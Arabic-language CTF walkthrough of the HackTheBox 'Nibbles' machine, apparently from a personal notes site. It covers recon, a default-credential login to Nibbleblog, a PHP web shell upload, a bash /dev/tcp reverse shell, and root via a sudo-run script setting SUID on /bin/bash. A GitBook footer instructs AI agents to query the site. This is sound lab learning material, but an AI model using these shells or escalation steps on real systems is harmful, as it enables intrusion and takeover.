> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/nibbles-hackthebox-writeup.md). # شرح Nibbles HackTheBox {% embed url="" %} {% hint style="warning" %} **المهارات:** * استغلال Nibbleblog - تنفيذ أوامر عن بُعد عبر رفع ملف * استغلال امتياز Sudoers (تصعيد الصلاحيات) {% endhint %} ## الاستطلاع **إعداد مساحة العمل:** قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

**فحص اتصال VPN** تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

**اكتشاف المنافذ المفتوحة باستخدام Nmap:** قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.75 -oG allPorts ```

**تحليل المنافذ المفتوحة باستخدام extractPorts:** استخدم دالة extractPorts لعرض المنافذ المفتوحة بصيغة مختصرة ونسخها إلى الحافظة (22.80)

فحص إصدارات المنافذ باستخدام Nmap: استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted": ```bash nmap -sCV -p22,80 10.10.10.75 -oN targeted ```

### المنفذ 80 - HTTP

عند فحص الشيفرة المصدرية لصفحة الويب، نلاحظ وجود `/nibbleblog` الدليل.

### مدونة Nibbles - نظام إدارة محتوى

يبدو أن الموقع نظام إدارة محتوى يُدعى Nibbleblog. سنستخدم `gobuster` للبحث عن أدلة إضافية: ```bash gobuster dir -u http://10.10.10.75/nibbleblog/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ```

#### البحث عن ملفات PHP: عند البحث عن ملفات PHP نجد `admin.php` ملفًا يبدو أنه يطابق لوحة تحكم إدارية.

#### محاولة تسجيل الدخول باستخدام بيانات الاعتماد: نحاول الاتصال باستخدام بيانات الاعتماد التالية: * **المستخدم**: admin * **كلمة المرور**: nibbles

نجح الأمر وتمكنا من الوصول إلى واجهة الإدارة.

## ثغرة Nibbleblog - رفع الملفات نكتشف وظيفة تتيح تنزيل الصور:

سننشئ `cmd.php` ملفًا يحتوي على الشيفرة التالية للسماح بتنفيذ الأوامر ```bash " . shell_exec($_GET['cmd']) . ""; ?> ``` سيتم تنزيل الملف إلى `المحتوى` المجلد، حيث نجد `خاص` مجلدًا فرعيًا يحتوي على الإضافات.

#### تنفيذ الأوامر عبر رفع ملف: بفضل `cmd` يمكننا تنفيذ الأوامر. على سبيل المثال، نستخدم الرابط التالي للحصول على معلومات معرّف النظام:

/image.php?cmd=id

نحصل على وصول إلى الخادم عبر صدفة عكسية. نستمع على جهازنا عبر المنفذ 443: ```bash nc -nlvp 443 ``` ثم نشغّل الصدفة العكسية على الجهاز المستهدف: ```bash bash -c "bash -i >%26 /dev/tcp/10.10.14.7/443 0>%261" ```

#### تثبيت الطرفية: في الطرفية، نقوم بالخطوات التالية لتثبيت الجلسة: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ### الراية user.txt :)

## تصعيد الامتيازات : ### Sudo - monitor.sh (لا يوجد مثل هذا الملف) نكتشف ثغرة مرتبطة بتشغيل السكربتات بصلاحيات sudo.

الـ `monitor.sh` يبدو أن الملف غير موجود في أي مكان، لكن يمكننا إنشاء سكربت سيُشغَّل كجذر. نبدأ بإنشاء الأدلة اللازمة: ```bash cd /home/nibbler mkdir personal cd !$ mkdir stuff cd !$ ``` نضع `monitor.sh` الملف هناك بالمحتوى التالي: ```bash chmod u+s /bin/bash ``` ثم نشغّل السكربت بصلاحيات sudo: ```bash sudo /home/nibbler/personal/stuff/monitor.sh ``` هذا يسمح لك بتعديل أذونات `/bin/bash` عن طريق إضافة بت SUID. ثم ننفذ الأمر التالي للحصول على صدفة بصلاحيات الجذر: ```bash bash -p ```

### العلم root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/nibbles-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.